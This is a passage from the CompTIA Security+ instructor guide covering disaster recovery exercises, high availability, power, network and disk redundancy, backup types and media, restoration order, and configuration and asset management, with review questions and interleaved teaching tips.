• Walk-throughs, workshops, and orientation seminars—often used to provide basic
awareness and training for disaster recovery team members, these exercises
describe the contents of DRPs, and other plans, and the roles and responsibilities
outlined in those plans.

• Tabletop exercises—staff "ghost" the same procedures as they would in a disaster,

without actually creating disaster conditions or applying or changing anything.
These are simple to set up but do not provide any sort of practical evidence of
things that could go wrong, time to complete, and so on.

• Functional exercises—action-based sessions where employees can validate DRPs by

performing scenario-based activities in a simulated environment.

• Full-scale exercises— action-based sessions that reflect real situations, these

exercises are held onsite and use real equipment and real personnel as much as
possible. Full-scale exercises are often conducted by public agencies, but local
organizations might be asked to participate.

Lesson 19: Summarizing Risk Management Concepts | Topic 19B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 513

Review Activity:
Business Impact Analysis Concepts
Answer the following questions:

1. What factor is most likely to reduce a system's resiliency?

Single points of failure.

2. True or false? RTO expresses the amount of time required to identify and
resolve a problem within a single system or asset.

True.

3. What is measured by MTBF?

Mean time between failures (MTBF) represents the expected reliability of a product
over its lifetime.

4. What is a tabletop exercise?

A discussion-based drill of emergency response procedures. Staff may role-play and

discuss their responses but actual emergency conditions are not simulated.

5. Why are exercises an important part of creating a disaster recovery plan?

Full-scale or functional exercises can identify mistakes in the plan that might not be
apparent when drafting procedures. It also helps to familiarize staff with the plan.

Lesson 19: Summarizing Risk Management Concepts | Topic 19B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 514 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 19
Summary
Teaching You should be able explain risk management, business impact analysis, and disaster
Tip recovery planning processes and metrics.
Check that students
are confident about
the content that has
Guidelines for Risk Management
been covered. If there Follow these guidelines for supporting risk management assessment:
is time, revisit any
content examples that • Analyze workflows to determine MEFs and PBFs and the assets that support them,
they have questions using metrics such as MTTF/MTBF and MTTR.
about. If you have
used all the available • Identify threat and disaster scenarios, accounting for internal versus external,
time for this lesson
environmental, person-made, site-specific risk assessment, multiparty, software
block, note the issues,
and schedule time for licensing/compliance, IP theft, and legacy systems.
a review later in the
course. • Prioritizing MEFs, perform business impact analysis to determine inherent risk
likelihood and impacts for different threat and disaster scenarios, using metrics
such as SLE, ARO, and ALE.

• Define MTD, RTO, and RPO for each function and/or critical system and apply a risk
remediation technique (mitigation, transference, avoidance, or acceptance) that
meets these targets.

• Summarize risk factors and countermeasures for stakeholders in a risk register

using heat maps for easy interpretation.

• Perform ongoing risk monitoring to determine residual risk and control risk.

• Establish and test functional DRPs to enable effective response to disaster-

level events.

Lesson 19: Summarizing Risk Management Concepts

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 20
Implementing Cybersecurity Resilience

LESSON INTRODUCTION Teaching

Tip
Cybersecurity resilience means that even successful intrusions by threat actors have This lesson focuses
limited impact on confidentiality, integrity, and availability. Provisioning redundancy in on the "recover"
storage, power, and network systems, plus effective backup procedures, site resiliency, function, covering
and effective procedures for change control and configuration management are crucial topics such as
in maintaining high availability. redundancy, backup,
and configuration
management.
Lesson Objectives
In this lesson, you will:
• Implement redundancy strategies.

• Implement backup strategies.

• Implement cybersecurity resiliency strategies.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 516 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 20A
Implement Redundancy Strategies

Teaching EXAM OBJECTIVES COVERED

Tip 2.5 Given a scenario, implement cybersecurity resilience
This topic starts the
coverage of objective
2.5 by looking at
The output of risk assessments and business impact analysis will identify vulnerable
power, network, and
storage redundancy. business processes. To reduce risks in these processes, you can make the IT systems
This content should
and other business systems that support them resilient to failure. You must be able
be quite familiar to install and configure the systems that provide redundancy for power supply,
to students from networking, and storage systems.
Network+, so you
should not need to
spend too much time High Availability
on it.
One of the key properties of a resilient system is high availability. Availability is
Show Slide(s) the percentage of time that the system is online, measured over the defined period,
typically one year. The corollary of availability is downtime, or the amount of time
High Availability for which the system is unavailable. The maximum tolerable downtime (MTD) metric
expresses the availability requirement for a particular business function. High
availability is usually loosely described as 24x7 (24 hours per day, 7 days per week) or
24x365 (24 hours per day, 365 days per year). For a critical system, availability will be
described as "two-nines" (99%) up to five- or six-nines (99.9999%):

Availability Annual Downtime (hh:mm:ss)

99.9999% 00:00:32
99.999% 00:05:15
99.99% 00:52:34
99.9% 08:45:36
99% 87:36:00
Downtime is calculated from the sum of scheduled service intervals plus unplanned outages over
the period.

System availability can refer to an overall process, but also to availability at the level of a
server or individual component.

Scalability and Elasticity

High availability also means that a system is able to cope with rapid growth in demand.
These properties are referred to as scalability and elasticity. Scalability is the capacity to
increase resources to meet demand within similar cost ratios. This means that if service
demand doubles, costs do not more than double. There are two types of scalability:
• To scale out is to add more resources in parallel with existing resources.

• To scale up is to increase the power of existing resources.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 517

Elasticity refers to the system's ability to handle these changes on demand in real
time. A system with high elasticity will not experience loss of service or performance if
demand suddenly increases rapidly.

Fault Tolerance and Redundancy

A system that can experience failures and continue to provide the same (or nearly the
same) level of service is said to be fault tolerant. Fault tolerance is often achieved
by provisioning redundancy for critical components and single points of failure. A
redundant component is one that is not essential to the normal function of a system
but that allows the system to recover from the failure of another component.

Power Redundancy Show Slide(s)

All types of computer systems require a stable power supply to operate. Electrical Power Redundancy
events, such as voltage spikes or surges, can crash computers and network appliances,
while loss of power from brownouts or blackouts will cause equipment to fail. Power
management means deploying systems to ensure that equipment is protected against
these events and that network operations can either continue uninterrupted or be
recovered quickly.

Dual Power Supplies

An enterprise-class server or appliance enclosure is likely to feature two or more power
supply units (PSUs) for redundancy. A hot plug PSU can be replaced (in the event of
failure) without powering down the system.

Managed Power Distribution Units (PDUs)

The power circuits supplying grid power to a rack, network closet, or server room
must be enough to meet the load capacity of all the installed equipment, plus room
for growth. Consequently, circuits to a server room will typically be higher capacity
than domestic or office circuits (30 or 60 amps as opposed to 13 amps, for instance).
These circuits may be run through a power distribution unit (PDU). These come with
circuitry to "clean" the power signal, provide protection against spikes, surges, and
brownouts, and can integrate with uninterruptible power supplies (UPSs). Managed
PDUs support remote power monitoring functions, such as reporting load and
status, switching power to a socket on and off, or switching sockets on in a particular
sequence.

Battery Backups and Uninterruptible Power Supplies (UPSs)

If there is loss of power, system operation can be sustained for a few minutes or hours
(depending on load) using battery backup. Battery backup can be provisioned at the
component level for disk drives and RAID arrays. The battery protects any read or write
operations cached at the time of power loss. At the system level, an uninterruptible
power supply (UPS) will provide a temporary power source in the event of a blackout
(complete power loss). This may range from a few minutes for a desktop-rated model
to hours for an enterprise system. In its simplest form, a UPS comprises a bank of
batteries and their charging circuit plus an inverter to generate AC voltage from the DC
voltage supplied by the batteries.
The time allowed by a UPS should be sufficient to failover to an alternative power
source, such as a standby generator. If there is no secondary power source, UPS will at
least allow the administrator to shut down the server or appliance properly—users can
save files, and the OS can complete the proper shut down routines.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 518 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Generators
A backup power generator can provide power to the whole building, often for several
days. Most generators use diesel, propane, or natural gas as a fuel source. With diesel
and propane, the main drawback is safe storage (diesel also has a shelf-life of between
18 months and two years); with natural gas, the issue is the reliability of the gas
supply in the event of a natural disaster. Data centers are also investing in renewable
power sources, such as solar, wind, geothermal, hydrogen fuel cells, and hydro. The
ability to use renewable power is a strong factor in determining the best site for new
data centers. Large-scale battery solutions, such as Tesla's Powerpack (tesla.com/
powerpack), may be able to provide an alternative to backup power generators. There
are also emerging technologies to use all the battery resources of a data center as a
microgrid for power storage (scientificamerican.com/article/how-big-batteries-at-data-
centers-could-replace-power-plants/).

A UPS is always required to protect against any interruption to computer services. A backup
generator cannot be brought online fast enough to respond to a power failure.

Show Slide(s) Network Redundancy

Network Redundancy
Networking is another critical resource where the a single point of failure could cause
significant service disruption.

Network Interface Card (NIC) Teaming

Network interface card (NIC) teaming, or adapter teaming, means that the server
is installed with multiple NICs, or NICs with multiple ports, or both. Each port is
connected to separate network cabling. During normal operation, this can provide a
high-bandwidth link. For example, four 1 GB ports gives an overall bandwidth of 4 GB.
If there is a problem with one cable, or one NIC, the network connection will continue
to work, though at just 3 GB.

For the system to be fault tolerant, the higher bandwidth must not be critical to the function.

Switching and Routing

Network cabling should be designed to allow for multiple paths between the various
switches and routers, so that during a failure of one part of the network, the rest
remains operational.

Multiple switching paths require use of Spanning Tree Protocol (STP) to prevent loops.

Load Balancers
NIC teaming provides load balancing at the adapter level. Load balancing and
clustering can also be provisioned at a service level:
• A load balancing switch distributes workloads between available servers.

• A load balancing cluster enables multiple redundant servers to share data and
session information to maintain a consistent service if there is failover from one
server to another.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 519

Disk Redundancy Show Slide(s)

Disk and storage resources are critically dependent on redundancy. While backup provides Disk Redundancy
integrity for when a disk fails, to restore from backup would require installing a new
storage unit, restoring the data, and testing the system configuration. Disk redundancy
ensures that a server can continue to operate if one, or possibly more, storage devices fail.

Redundant Array of Independent Disks (RAID)

When a storage system is configured as a Redundant Array of Independent Disks
(RAID), many disks can act as backups for each other to increase reliability and fault
tolerance. If one disk fails, the data is not lost, and the server can keep functioning.
The RAID advisory board defines RAID levels, numbered from 0 to 6, where each level
corresponds to a specific type of fault tolerance. There are also proprietary and nested
RAID solutions. Some of the most commonly implemented types of RAID are listed in
the following table.

RAID Level Fault Tolerance

Level 1 Mirroring means that data is written to two
disks simultaneously, providing redundancy
(if one disk fails, there is a copy of data
on the other). The main drawback is that
storage efficiency is only 50%.
Level 5 Striping with parity means that data is
written across three or more disks, but
additional information (parity) is calculated.
This allows the volume to continue if one
disk is lost. This solution has better storage
efficiency than RAID 1.
Level 6 Double parity, or level 5 with an additional
parity stripe, allows the volume to continue
when two devices have been lost
Nested (0+1, 1+0, or 5+0) Nesting RAID sets generally improves
performance or redundancy. For example,
some nested RAID solutions can support the
failure of more than one disk.

RAID level 0 refers to striping without parity. Data is written in blocks across several disks
simultaneously, but with no redundancy. This can improve performance, but if one disk
fails, so does the whole volume, and data on it will be corrupted. There are some use cases
for RAID 0, but typically striping without parity is only implemented to improve performance
in a nested RAID solution.

Multipath
Where RAID provides redundancy for the storage devices, multipath is focused on
the bus between the server and the storage devices or RAID array. A storage system is
accessed via some type of controller. The controller might be connected to disk units
locally installed in a server, or it might connect to storage devices within a storage area
network (SAN). Multipath input/ouput (I/O) ensures that there is controller redundancy
and/or multiple network paths to the storage devices.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 520 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Geographical Redundancy and Replication

Geographical
Data replication is technology that maintains exact copies of data at more than one
Redundancy and location. RAID mirroring and parity implement types of replication between local
Replication storage devices. Data replication can be applied in many other contexts:
• Storage Area Network (SAN)—most enterprise storage is configured as a SAN. A
SAN is a high-speed fiber optic network of storage devices built from technologies
such as Fibre Channel, Small Computer System Interface (SCSI), or Infiniband.
Redundancy can be provided within the SAN, and replication can also take place
between SANs using WAN links.

• Database—much data is stored within a database. Where a database is replicated

between multiple servers or sites, it is very important to maintain consistency
between the replicas. Database management systems come with specific tools to
implement different kinds of replication.

• Virtual Machine (VM)—the same VM instance may need to be deployed in multiple

locations. This can be achieved by replicating the VM's disk image and configuration
settings.

Geographical Dispersal
Geographical dispersal refers to data replicating hot and warm sites that are
physically distant from one another. This means that data is protected against a
natural disaster wiping out storage at one of the sites. This is also described as a geo-
redundant solution.

Asynchronous and Synchronous Replication

Synchronous replication is designed to write data to all replicas simultaneously.
Therefore, all replicas should always have the same data all of the time. Asynchronous
replication writes data to the primary storage first, and then copies data to the replicas
at scheduled intervals.
Asynchronous replication isn't a good choice for a solution that requires data in
multiple locations to be consistent, such as data from product inventory lists accessed
in different regions. Many geo-redundant replication services rely on asynchronous
replication due to the distances between data centers in multiple regions. In some
cases, business solutions work around the limitations of asynchronous replication. For
example, an online retailer may choose only to show inventory from their local regional
warehouse.

On-Premises versus Cloud

High availability through redundancy and replication is resource-intensive, especially
when configuring multiple hot or warm sites. For on-premises sites, provisioning the
storage devices and high-bandwidth, low-latency WAN links required between two
geographically dispersed hot sites could incur unaffordable costs. This cost is one of the
big drivers of cloud services, where local and geographic redundancy are built into the
system, if you trust the CSP to operate the cloud effectively. For example, in the cloud,
geo-redundancy replicates data or services between data centers physically located
in two different regions. Disasters that occur at the regional level, like earthquakes,
hurricanes, or floods, should not impact availability across multiple zones.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 521

Review Activity:
Redundancy Strategies
Answer the following questions:

1. How does MTD relate to availability?

The maximum tolerable downtime (MTD) metric expresses the availability requirement
for a particular business function.

2. How does elasticity differ from scalability?

A scalable system is one that responds to increased workloads by adding resources

without exponentially increasing costs. An elastic system is able to assign or unassign
resources as needed to match either an increased workload or a decreased workload.

3. Which two components are required to ensure power redundancy for a

blackout period extending over 24 hours?

An uninterruptible power supply (UPS) is required to provide failover for the initial
blackout event, before switching over to a standby generator to supply power over a
longer period.

4. How does RAID support fault tolerance?

Aside from RAID 0, RAID provides redundancy between a group of disks, so that if one
disk were to fail, that data may be recoverable from the other disks in the array.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 522 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 20B
Implement Backup Strategies

Teaching EXAM OBJECTIVES COVERED

Tip 2.5 Given a scenario, implement cybersecurity resilience
While this is a critical
area of content, it
should be possible
to summarize
No cybersecurity program is complete without an effective and tested system for
quickly. Focus on backing up and restoring critical data and system configurations. As a security
distinguishing professional, you need to be able to select appropriate backup types and media for
incremental and different scenarios and explain how nonpersistence can achieve more secure system
differential and configurations, as well as maintaining high availability.
discuss order of
restoration.

Show Slide(s)
Backups and Retention Policy
Every business continuity and disaster recovery plan makes use of backups, of one
Backups and type or another. The execution and frequency of backups must be carefully planned
Retention Policy and guided by policies. Data retention needs to be considered in the short and long
term:
• In the short term, files that change frequently might need retaining for version
control. Short-term retention is also important in recovering from malware
infection. Consider the scenario where a backup is made on Monday, a file is
infected with a virus on Tuesday, and when that file is backed up later on Tuesday,
the copy made on Monday is overwritten. This means that there is no good means
of restoring the uninfected version of the file. Short-term retention is determined by
how often the youngest media sets are overwritten.

• In the long term, data may need to be stored to meet legal requirements or to
comply with company policies or industry standards. Any data that must be retained
in a particular version past the oldest sets should be moved to archive storage.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 523

Performing a backup using Acronis Backup. (Screenshot used with permission from Acronis.)

For these reasons, backups are kept back to certain points in time. As backups take up
a lot of space, and there is never limitless storage capacity, this introduces the need for
storage management routines to reduce the amount of data occupying backup storage
media while giving adequate coverage of the required recovery window. The recovery
window is determined by the recovery point objective (RPO), which is determined
through business continuity planning. Advanced backup software can prevent media
sets from being overwritten in line with the specified retention policy.

Backing up a domain controller using Acronis backup—The How Long to Keep field specifies the
retention period. (Screenshot used with permission from Acronis.)

Lesson 20: Implementing Cybersecurity Resilience | Topic 20B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 524 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Backup Types

Backup Types
Utilities that support enterprise backup operations come with features to support
retention policies and media rotation. When considering a backup made against an
Teaching original copy of data, the backup can usually be performed using one of three main
Tip types: full, incremental, and differential. In Windows, a full backup includes all selected
Students need to files and directories while incremental and differential backups check the status of the
understand the archive attribute before including a file. The archive attribute is set whenever a file is
distinction between modified. This allows backup software to determine which files have been changed and
incremental and therefore need to be copied.
differential backups.

Linux doesn't support a file archive attribute. Instead, a date stamp is used to determine
whether the file has changed.

Full, Incremental, and Differential Backup Types

The following table summarizes the three different backup types.

Backup/Restore
Type Data Selection Archive Attribute
Time
Full All selected data High/low (one tape Cleared
regardless of when set)
it was previously
backed up
Incremental New files, as well as Low/high (multiple Cleared
files modified since tape sets)
the last backup
Differential All new and modi- Moderate/moderate Not Cleared
fied files since the (no more than two
last full backup sets)

Differential and incremental backup and restore operations.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 525

The factors that determine which method to use are the time it takes to restore versus
the time it takes to back up. Assuming a backup is performed every working day, an
incremental backup only includes files changed during that day, while a differential
backup includes all files changed since the last full backup. Incremental backups save
backup time but can be more time-consuming when the system must be restored. The
system must be restored from the last full backup set and then from each incremental
backup that has subsequently occurred. A differential backup system only involves two
tape sets when restoration is required.

Do not combine differential and incremental backups. Use full backups interspersed with
differential backups or full backups interspersed with incremental backups.

Copy Backups
Most software also has the capability to do copy backups. These are made outside the
tape rotation system and do not affect the archive attribute.

Snapshots and Images Show Slide(s)

Snapshots are a means of getting around the problem of open files. If the data that Snapshots and Images
you're considering backing up is part of a database, such as SQL data or an Exchange
messaging system, then the data is probably being used all the time. Often copy-based
mechanisms will be unable to back up open files. Short of closing the files, and so too
the database, a copy-based system will not work. A snapshot is a point-in-time copy
of data maintained by the file system. A backup program can use the snapshot rather
than the live data to perform the backup. In Windows, snapshots are provided for on
NTFS volumes by the Volume Shadow Copy Service (VSS). They are also supported on
Sun's ZFS file system, and under some enterprise distributions of Linux.

Configuring VSS settings in Acronis Backup. (Screenshot used with permission from Acronis.)

Lesson 20: Implementing Cybersecurity Resilience | Topic 20B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 526 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Virtual system managers can usually take snapshot or cloned copies of VMs. A
snapshot remains linked to the original VM, while a clone becomes a separate VM from
the point that the cloned image was made.
An image backup is made by duplicating an OS installation. This can be done either
from a physical hard disk or from a VM's virtual hard disk. Imaging allows the system
to be redeployed quickly, without having to reinstall third-party software, patches, and
configuration settings. A system image should generally not contain any user data files,
as these will quickly become out of date.

Show Slide(s) Backup Storage Issues

Backup Storage Issues
Backed up and archived data need to be stored as securely as live data. A data backup
has the same confidentiality and integrity requirements as its source. It also has its
Teaching own availability requirement. Typically, backup media is physically secured against
Tip theft or snooping by keeping it in a restricted part of the building, with other server
Make sure students and network equipment. Many backup solutions use encryption to ensure data
can distinguish onsite/ confidentiality should the media be stolen.
offsite and online/
offline. Offsite Storage
Additionally, you must plan for events that could compromise both the live data and
the backup set. Natural disasters, such as fires, earthquakes, and floods, could leave
an organization without a data backup, unless they have kept a copy offsite. Distance
consideration is a calculation of how far offsite the backup needs to be kept, given
different disaster scenarios. On the one hand, the media must be kept far away enough
not to be damaged by the disaster; on the other, media access should not slow down a
recovery operation too much.
Without a network that can support the required bandwidth, the offsite media must
be physically brought onsite (and if there is no second set of offsite media, data is
at substantial risk at this time), the latest backup performed, and then removed to
offsite storage again. Quite apart from the difficulty and expense of doing this, there
are data confidentiality and security issues in transporting the data. In recent years,
high-bandwidth Internet and high-capacity cloud storage providers have made offsite
backup solutions much more affordable and easy to implement.

Online versus Offline Backups

As well as the onsite/offsite consideration, you should also be aware of a distinction
between online and offline backups. An online backup system is instantly available to
perform a backup or restore operation without an administrator having to transport
and connect a device or load some backup media. An offline backup is disconnected
from the host and must be connected manually.
An online system is faster, but an offline backup offers better security. Consider the
case of cryptoransomware, for instance. If the backup system is connected to the
infected host, the ransomware will encrypt the backup, rendering it useless. Some
cryptoransomware is configured to try to access cloud accounts and encrypt the cloud
storage (f-secure.com/v-descs/articles/crypto-ransomware.shtml).
Show Slide(s)
The 3-2-1 rule states that you should have three copies of your data, across two media
types, with one copy held offline and offsite.
Backup Media Types

Teaching
Tip
These technologies Backup Media Types
should be familiar to
students from A+ and A backup operation can use several media types. Each type has advantages and
Network+. disadvantages that make it more or less suitable for given scenarios.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 527

Disk
Individual removable hard drives are an excellent low-cost option for SOHO network
backups, but they do not have sufficient capacity or flexibility to be used within an
automated enterprise backup solution.

Network Attached Storage (NAS)

A network attached storage (NAS) appliance is a specially configured type of server
that makes RAID storage available over common network protocols, such as Windows
File Sharing (SMB) or FTP. A NAS appliance is accessed via an IP address and backup
takes place at file-level. A NAS can be another good option for SOHO backup, but as
a single device, it provides no offsite option. As it is normally kept online, it can be
vulnerable to cryptoransomware as well.

Tape
Digital tape systems are a popular choice for institutions with multi-terabyte storage
requirements. Tape is very cost effective and, given a media rotation system, tapes can
be transported offsite. The latest generation of tape will store about 10-12 terabytes
per cartridge or up to about 30 TB with compression. The main drawback of tape is
that it is slow, compared to disk-based solutions, especially for restore operations.

Storage Area Network (SAN) and Cloud

A RAID array or tape drive/autoloader can be provisioned as direct attached storage,
where a server hosts the backup devices, usually over serial attached SCSI (SAS).
Direct attached storage has limited scalability, so enterprise and cloud storage
solutions often use storage area networks (SAN) as a layer of abstraction between
the file system objects presented to servers and the configuration of the actual storage
media. Where NAS uses file-level access to storage, a SAN is based on block-level
addressing. A SAN can incorporate RAID arrays and tape systems within the same
network. SANs can achieve offsite storage through replication.

Restoration Order Show Slide(s)

If a site suffers an uncontrolled outage, in ideal circumstances processing will be Restoration Order
switched to an alternate site and the outage can be resolved without any service
interruption. If an alternate processing site is not available, then the main site must be Teaching
brought back online as quickly as possible to minimize service disruption. This does Tip
not mean that the process can be rushed, however. A complex facility such as a data British Airways' data
center or campus network must be reconstituted according to a carefully designed center problems
order of restoration. If systems are brought back online in an uncontrolled way, there make a good
is the serious risk of causing additional power problems or of causing problems in the example of why
order of restoration
network, OS, or application layers because dependencies between different appliances is a critical topic
and servers have not been met. (computerweekly.com/
news/450420405/
In very general terms, the order of restoration will be as follows:
The-British-Airways-
1. Enable and test power delivery systems (grid power, power distribution units IT-outage-What-
[PDUs], UPS, secondary generators, and so on). went-wrong-with-its-
datacentre).
2. Enable and test switch infrastructure, then routing appliances and systems.

3. Enable and test network security appliances (firewalls, IDS, proxies).

4. Enable and test critical network servers (DHCP, DNS, NTP, and directory services).

5. Enable and test back-end and middleware (databases and business logic). Verify
data integrity.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 528 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

6. Enable and test front-end applications.

7. Enable client workstations and devices and client browser access.

Show Slide(s) Nonpersistence

Nonpersistence
When recovering systems, it may be necessary to ensure that any artifacts from
the disaster, such as malware or backdoors, are removed when reconstituting the
production environment. This can be facilitated in an environment designed for
nonpersistence. Nonpersistence means that any given instance is completely static
in terms of processing function. Data is separated from the instance so that it can be
swapped out for an "as new" copy without suffering any configuration problems. There
are various mechanisms for ensuring nonpersistence:
• Snapshot/revert to known state—this is a saved system state that can be reapplied
to the instance.

• Rollback to known configuration—a physical instance might not support snapshots

but has an "internal" mechanism for restoring the baseline system configuration,
such as Windows System Restore.

• Live boot media—another option is to use an instance that boots from read-only
storage to memory rather than being installed on a local read/write hard disk.

When provisioning a new or replacement instance automatically, the automation

system may use one of two types of mastering instructions:
• Master image—this is the "gold" copy of a server instance, with the OS, applications,
and patches all installed and configured. This is faster than using a template, but
keeping the image up to date can involve more work than updating a template.

• Automated build from a template—similar to a master image, this is the build

instructions for an instance. Rather than storing a master image, the software may
build and provision an instance according to the template instructions.

Another important process in automating resiliency strategies is to provide

configuration validation. This process ensures that a recovery solution is working
at each layer (hardware, network connectivity, data replication, and application). An
automation solution for incident and disaster recovery will have a dashboard of key
indicators and may be able to evaluate metrics such as compliance with RPO and RTO
from observed data.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 529

Review Activity:
Backup Strategies
Answer the following questions:

1. What type of scheduled Windows backup job does not clear the archive
attribute?

A differential backup. This type of backup selects all new and modified data since the
previous full backup. You could also mention copy backups, though these are usually
ad hoc rather than scheduled.

2. How does VSS assist a backup solution?

The volume shadow copy service creates snapshots for the backup software to use,
avoiding problems with file locks and uncompleted database transactions.

3. True or false? Backup media can be onsite, but offline.

True. As a security precaution, backup media can be taken offline at the completion of
a job to mitigate the risk of malware corrupting the backup.

4. You are advising a company about backup requirements for a few dozen
application servers hosting tens of terabytes of data. The company requires
online availability of short-term backups, plus offsite security media and
long-term archive storage. The company cannot use a cloud solution. What
type of on-premises storage solution is best suited to the requirement?

The offsite and archive requirements are best met by a tape solution, but the online
requirement may need a RAID array, depending on speed. The requirement is probably
not large enough to demand a storage area network (SAN), but could be provisioned as
part of one.

5. What is the risk of not following a tested order of restoration when

recovering a site from a major incident?

There may be unmet dependencies between systems that are started in the wrong
order. This could lead to boot failures and possibly data corruption.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 530 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 20C
Implement Cybersecurity
Resiliency Strategies

Teaching EXAM OBJECTIVES COVERED

Tip 2.1 Explain the importance of security concepts in an enterprise environment
This topic completes 2.5 Given a scenario, implement cybersecurity resilience
objective 2.5 by 5.3 Explain the importance of policies to organizational security
covering the diversity
content examples, Effective site management and cybersecurity resilience depend on change control and
but we also look at configuration management. If this crucial documentation is not kept up to date, the
configuration and
change management,
response to incident and disaster events will suffer from confusion, errors, and lost time.
site resiliency, and As part of a cybersecurity program, you must also be able to implement techniques
deception strategies
that make things difficult for threat actors. Defense in depth and control diversity are
from objectives 2.1
and 5.3. crucial in designing resilient systems. Deception and disruption tactics help to increase
the cost of attacks and so deter them.

Show Slide(s) Configuration Management

Configuration
Response and recovery controls refer to the whole set of policies, procedures, and
Management resources created for incident and disaster response and recovery. These controls are
critical to cybersecurity, but they become increasingly difficult to provision at scale.
Teaching Effective response and recovery depend heavily on how well-organized IT systems
Tip are at the site level. Without effective organizational policies to govern change and
You don't need to configuration management, response and recovery is much harder.
cover this in detail—
just stress that Configuration management ensures that each component of ICT infrastructure is in
the attributes and a trusted state that has not diverged from its documented properties. Change control
relationships of assets and change management reduce the risk that changes to these components could
supporting a workflow cause service disruption.
must be documented.
ITIL® is a popular documentation of good and best practice activities and processes
for delivering IT services. Under ITIL, configuration management is implemented using
the following elements:
• Service assets are things, processes, or people that contribute to the delivery of an
IT service.

• A Configuration Item (CI) is an asset that requires specific management procedures

for it to be used to deliver the service. Each CI must be identified by some sort of
label, ideally using a standard naming convention. CIs are defined by their attributes
and relationships, which are stored in a configuration management database
(CMDB).

• A baseline configuration is the template of settings that a device, VM instance, or

other CI was configured to, and that it should continue to match. You might also
record performance baselines, such as the throughput achieved by a server, for
comparison with monitored levels.

• A configuration management system (CMS) is the tools and databases that collect,
store, manage, update, and present information about CIs and their relationships.

Lesson 20: Implementing Cybersecurity Resilience | Topic 20C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 531

A small network might capture this information in spreadsheets and diagrams;

there are dedicated applications for enterprise CMS.

• Diagrams are the best way to capture the complex relationships between network
elements. Diagrams can be used to show how CIs are involved in business
workflows, logical (IP) and physical network topologies, and network rack layouts.
Remember, it is not sufficient simply to create the diagram, you must also keep the
diagram up to date.

Asset Management Show Slide(s)

An asset management process tracks all the organization's critical systems, Asset Management
components, devices, and other objects of value in an inventory. It also involves
collecting and analyzing information about these assets so that personnel can make Interaction
more informed changes or otherwise work with assets to achieve business goals. Opportunity

There are many software suites and associated hardware solutions available for If you do have some
extra time, ask
tracking and managing assets. An asset management database can be configured to students what naming
store as much or as little information as is deemed necessary, though typical data conventions they have
would be type, model, serial number, asset ID, location, user(s), value, and service encountered. Note
information. the past propensity
to use arbitrary, but
colorful, server names.
We are focusing on assets that require some degree of configuration (CIs). An organization
Some schemes code
will also have many assets with no configuration requirement, such as furniture.
location attributes,
but they are less
relevant to the cloud.
Functional names can
Asset Identification and Standard Naming Conventions be tricky if devices
subsequently change
Tangible assets can be identified using a barcode label or radio frequency ID (RFID) tag function. One school
attached to the device (or more simply, using an identification number). An RFID tag is of thought is that a
single convention that
a chip programmed with asset data. When in range of a scanner, the chip activates and tries to code multiple
signals the scanner. The scanner alerts management software to update the device's fields within a single
location. As well as asset tracking, this allows the management software to track the string that will remain
location of the device, making theft more difficult. consistent over time
is an impossible goal,
A standard naming convention for hardware assets, and for digital assets such as so the ID should
accounts and virtual machines, makes the environment more consistent. This means just be an arbitrary
that errors are easier to spot and that it is easier to automate through scripting. The string, colorful or not,
